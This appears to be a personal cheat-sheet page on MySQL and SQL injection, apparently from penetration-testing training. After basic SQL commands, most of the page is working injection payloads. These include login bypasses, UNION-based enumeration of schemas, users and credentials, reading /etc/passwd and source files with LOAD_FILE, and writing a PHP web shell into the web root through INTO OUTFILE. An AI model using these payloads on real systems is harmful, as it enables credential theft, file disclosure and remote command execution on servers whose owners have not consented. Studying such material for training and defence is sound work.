🗂️MySQL

code

mysql -h 10.10.14.49 -u username -pPassw0rd

It is also possible the password directly into the command, though this should be avoided, as it could lead to the password being kept in logs and terminal history:

mysql -u <username> -p<password> Tip: There shouldn't be any spaces between '-p' and the password.
mysql -u <username> -h <host> -P <port> -p
CREATE DATABASE users;
SHOW DATABASES;
USE users; database name is case sensitive

CREATE TABLE logins (
    id INT,
    username VARCHAR(100),
    password VARCHAR(100),
    date_of_joining DATETIME
    );

SHOW TABLES;
DESCRIBE logins;

id INT NOT NULL AUTO_INCREMENT,

username VARCHAR(100) UNIQUE NOT NULL,

date_of_joining DATETIME DEFAULT NOW(),

PRIMARY KEY (id)

CREATE TABLE logins (
    id INT NOT NULL AUTO_INCREMENT,
    username VARCHAR(100) UNIQUE NOT NULL,
    password VARCHAR(100) NOT NULL,
    date_of_joining DATETIME DEFAULT NOW(),
    PRIMARY KEY (id)
    );

INSERT INTO table_name VALUES (column1_value, column2_value, column3_value, ...);

Skipping inserting default values for the columns

INSERT INTO table_name(column2, column3, ...) VALUES (column2_value, column3_value, ...);

SELECT * FROM table_name;

SELECT column1, column2 FROM table_name;

DROP TABLE logins;

ALTER TABLE logins ADD newColumn INT;

ALTER TABLE logins RENAME COLUMN newColumn TO oldColumn;

ALTER TABLE logins MODIFY oldColumn DATE;

ALTER TABLE logins DROP oldColumn;

UPDATE table_name SET column1=newvalue1, column2=newvalue2, ... WHERE <condition>;

UPDATE logins SET password = 'change_password' WHERE id > 1;

Query

SELECT * FROM logins ORDER BY password;

SELECT * FROM logins ORDER BY password DESC;

SELECT * FROM logins ORDER BY password DESC, id ASC;

SELECT * FROM logins LIMIT 2;

SELECT * FROM logins LIMIT 1, 2;

SELECT * FROM table_name WHERE <condition>;

SELECT * FROM logins WHERE id > 1;

SELECT * FROM logins where username = 'admin';

Note: String and date data types should be surrounded by single quote (') or double quotes ("), while numbers can be used directly.

SELECT * FROM logins WHERE username LIKE 'admin%';

The % symbol acts as a wildcard and matches all characters after admin.

SELECT * FROM logins WHERE username like '___';

The _ symbol is used to match exactly one character.

SQL Operators

mysql> SELECT 1 = 1 AND 'test' = 'test';

+---------------------------+
| 1 = 1 AND 'test' = 'test' |
+---------------------------+
|                         1 |
+---------------------------+
1 row in set (0.00 sec)

mysql> SELECT 1 = 1 AND 'test' = 'abc';

+--------------------------+
| 1 = 1 AND 'test' = 'abc' |
+--------------------------+
|                        0 |
+--------------------------+
1 row in set (0.00 sec)

In MySQL terms, any non-zero value is considered true, and it usually returns the value 1 to signify true. 0 is considered false.

mysql> SELECT 1 = 1 OR 'test' = 'abc';

+-------------------------+
| 1 = 1 OR 'test' = 'abc' |
+-------------------------+
|                       1 |
+-------------------------+
1 row in set (0.00 sec)

mysql> SELECT 1 = 2 OR 'test' = 'abc';

+-------------------------+
| 1 = 2 OR 'test' = 'abc' |
+-------------------------+
|                       0 |
+-------------------------+
1 row in set (0.00 sec)

mysql> SELECT NOT 1 = 1;

+-----------+
| NOT 1 = 1 |
+-----------+
|         0 |
+-----------+
1 row in set (0.00 sec)

mysql> SELECT NOT 1 = 2;

+-----------+
| NOT 1 = 2 |
+-----------+
|         1 |
+-----------+
1 row in set (0.00 sec)

The AND, OR and NOT operators can also be represented as &&, || and !, respectively.

SQL Injections

$conn = new mysqli("localhost", "root", "password", "users");
$query = "select * from logins";
$result = $conn->query($query);

while($row = $result->fetch_assoc() ){
	echo $row["name"]."<br>";
}

$searchInput =  $_POST['findUser'];
$query = "select * from logins where username like '%$searchInput'";
$result = $conn->query($query);

For example, if we search for 1'; DROP TABLE users;, the search input would be:

'%1'; DROP TABLE users;'

select * from logins where username like '%1'; DROP TABLE users;'

SQLi Discovery

Payload

URL Encoded

'

%27

"

%22

#

%23

;

%3B

)

%29

SELECT * FROM logins WHERE username=''' AND password = 'something';

admin' or '1'='1

SELECT * FROM logins WHERE username='admin' or '1'='1' AND password = 'something';

Reference: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#authentication-bypass

 something' or '1'='1

SELECT * FROM logins WHERE username='NotAdmin' or '1'='1' AND password = 'something' or '1'='1';

Comments

We can use two types of line comments with MySQL -- and #

SELECT * FROM logins WHERE username = 'admin'; # You can place anything here AND password = 'something'

In order to use (#) as a comment within a browser, we can use '%23', which is an URL encoded (#) symbol.

SELECT * FROM logins WHERE username='admin'-- ' AND password = 'something';

admin')--

SELECT * FROM logins where (username='admin')

Union

SELECT * FROM ports UNION SELECT * FROM ships;

SELECT * from products where product_id = '1' UNION SELECT username, password from passwords-- '

Tip: For advanced SQL injection, we may want to simply use 'NULL' to fill other columns, as 'NULL' fits all data types.

SELECT * from products where product_id = '1' UNION SELECT username, 2 from passwords

SELECT * from products where product_id UNION SELECT username, 2, 3, 4 from passwords-- '

Detect Number of Columns

Using ORDER BY
Using UNION

' order by 1-- -

http://SERVER_IP:PORT/search.php?port_code=' order by 1-- -

cn' UNION select 1,2,3-- -

http://SERVER_IP:PORT/search.php?port_code=cn' UNION select 1,2,3-- -

cn' UNION select 1,@@version,3,4-- -

http://SERVER_IP:PORT/search.php?port_code=cn' UNION select 1,@@version,3,4-- -

Database Enumeration

MySQL Fingerprinting

Payload

When to Use

Expected Output

Wrong Output

SELECT @@version

When we have full query output

MySQL Version 'i.e. 10.3.22-MariaDB-1ubuntu1'

In MSSQL it returns MSSQL version. Error with other DBMS.

SELECT POW(1,1)

When we only have numeric output

1

Error with other DBMS

SELECT SLEEP(5)

Blind/No Output

Delays page response for 5 seconds and returns 0.

Will not delay response with other DBMS

INFORMATION_SCHEMA Database

SELECT * FROM my_database.users;

SCHEMATA

SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA;

cn' UNION select 1,schema_name,3,4 from INFORMATION_SCHEMA.SCHEMATA-- -

http://SERVER_IP:PORT/search.php?port_code=cn' UNION select 1,schema_name,3,4 from INFORMATION_SCHEMA.SCHEMATA-- -

cn' UNION select 1,database(),2,3-- -

http://SERVER_IP:PORT/search.php?port_code=cn' UNION select 1,database(),2,3-- -

cn' UNION select 1,TABLE_NAME,TABLE_SCHEMA,4 from INFORMATION_SCHEMA.TABLES where table_schema='dev'-- -

http://SERVER_IP:PORT/search.php?port_code=cn' UNION select 1,TABLE_NAME,TABLE_SCHEMA,4 from INFORMATION_SCHEMA.TABLES where table_schema='dev'-- -

cn' UNION select 1,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA from INFORMATION_SCHEMA.COLUMNS where table_name='credentials'-- -

http://SERVER_IP:PORT/search.php?port_code=cn' UNION select 1,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA from INFORMATION_SCHEMA.COLUMNS where table_name='credentials'-- -

Data

cn' UNION select 1, username, password, 4 from dev.credentials-- -

http://SERVER_IP:PORT/search.php?port_code=cn' UNION select 1, username, password, 4 from dev.credentials-- -

Reading Files

DB User

SELECT USER()
SELECT CURRENT_USER()
SELECT user from mysql.user

cn' UNION SELECT 1, user(), 3, 4-- -

cn' UNION SELECT 1, user, 3, 4 from mysql.user-- -

http://SERVER_IP:PORT/search.php?port_code=cn' UNION SELECT 1, user(), 3, 4-- -

SELECT super_priv FROM mysql.user

cn' UNION SELECT 1, super_priv, 3, 4 FROM mysql.user-- -

cn' UNION SELECT 1, super_priv, 3, 4 FROM mysql.user WHERE user="root"-- -

http://SERVER_IP:PORT/search.php?port_code=cn' UNION SELECT 1, super_priv, 3, 4 FROM mysql.user-- -

SELECT sql_grants FROM information_schema.sql_show_grants

cn' UNION SELECT 1, grantee, privilege_type, 4 FROM information_schema.user_privileges-- -

http://SERVER_IP:PORT/search.php?port_code=cn' UNION SELECT 1, grantee, privilege_type, 4 FROM information_schema.user_privileges-- -

LOAD_FILE

SELECT LOAD_FILE('/etc/passwd');

Note: We will only be able to read the file if the OS user running MySQL has enough privileges to read it.

cn' UNION SELECT 1, LOAD_FILE("/etc/passwd"), 3, 4-- -

http://SERVER_IP:PORT/search.php?port_code=cn' UNION SELECT 1, LOAD_FILE('/etc/passwd'), 3, 4-- -

cn' UNION SELECT 1, LOAD_FILE("/var/www/html/search.php"), 3, 4-- -

http://SERVER_IP:PORT/search.php?port_code=cn' UNION SELECT 1, LOAD_FILE('/var/www/html/search.php'), 3, 4-- -

Writing Files

secure_file_priv

SHOW VARIABLES LIKE 'secure_file_priv';

SELECT variable_name, variable_value FROM information_schema.global_variables where variable_name="secure_file_priv"

cn' UNION SELECT 1, variable_name, variable_value, 4 FROM information_schema.global_variables where variable_name="secure_file_priv"-- -

http://SERVER_IP:PORT/search.php?port_code=cn' UNION SELECT 1, variable_name, variable_value, 4 FROM information_schema.global_variables where variable_name='secure_file_priv'-- -

SELECT INTO OUTFILE

SELECT * from users INTO OUTFILE '/tmp/credentials';

cat /tmp/credentials

SELECT 'this is a test' INTO OUTFILE '/tmp/test.txt';

cat /tmp/test.txt

Writing Files through SQL Injection

select 'file written successfully!' into outfile '/var/www/html/proof.txt'

LOAD_FILE

/etc/apache2/apache2.conf
/etc/nginx/nginx.conf
%WinDir%\System32\Inetsrv\Config\ApplicationHost.config

Reference:

cn' union select 1,'file written successfully!',3,4 into outfile '/var/www/html/proof.txt'-- -

http://SERVER_IP:PORT/search.php?port_code=cn' union select 1,'file written successfully!',3,4 into outfile '/var/www/html/proof.txt'-- -
http://SERVER_IP:PORT/proof.txt

Writing a Web Shell

<?php system($_REQUEST[0]); ?>

cn' union select "",'<?php system($_REQUEST[0]); ?>', "", "" into outfile '/var/www/html/shell.php'-- -

http://SERVER_IP:PORT/search.php?port_code=cn' union select “ “,'', “ “, “ “ into outfile '/var/www/html/shell.php'-- -
http://SERVER_IP:PORT/shell.php?0=id

PreviousXSS NextSQLMap

Last updated 3 years ago

hashtagQuery

hashtagSQL Operators

hashtagSQL Injections

hashtagSQLi Discovery

hashtagComments

hashtagUnion

hashtagDetect Number of Columns

hashtagDatabase Enumeration

hashtagMySQL Fingerprinting

hashtagINFORMATION_SCHEMA Database

hashtagSCHEMATA

hashtagData

hashtagReading Files

hashtagDB User

hashtagLOAD_FILE

hashtagWriting Files

hashtagsecure_file_priv

hashtagSELECT INTO OUTFILE

hashtagWriting Files through SQL Injection

hashtagLOAD_FILE

hashtagWriting a Web Shell

Query

SQL Operators

SQL Injections

SQLi Discovery

Comments

Union

Detect Number of Columns

Database Enumeration

MySQL Fingerprinting

INFORMATION_SCHEMA Database

SCHEMATA

Data

Reading Files

DB User

LOAD_FILE

Writing Files

secure_file_priv

SELECT INTO OUTFILE

Writing Files through SQL Injection

LOAD_FILE

Writing a Web Shell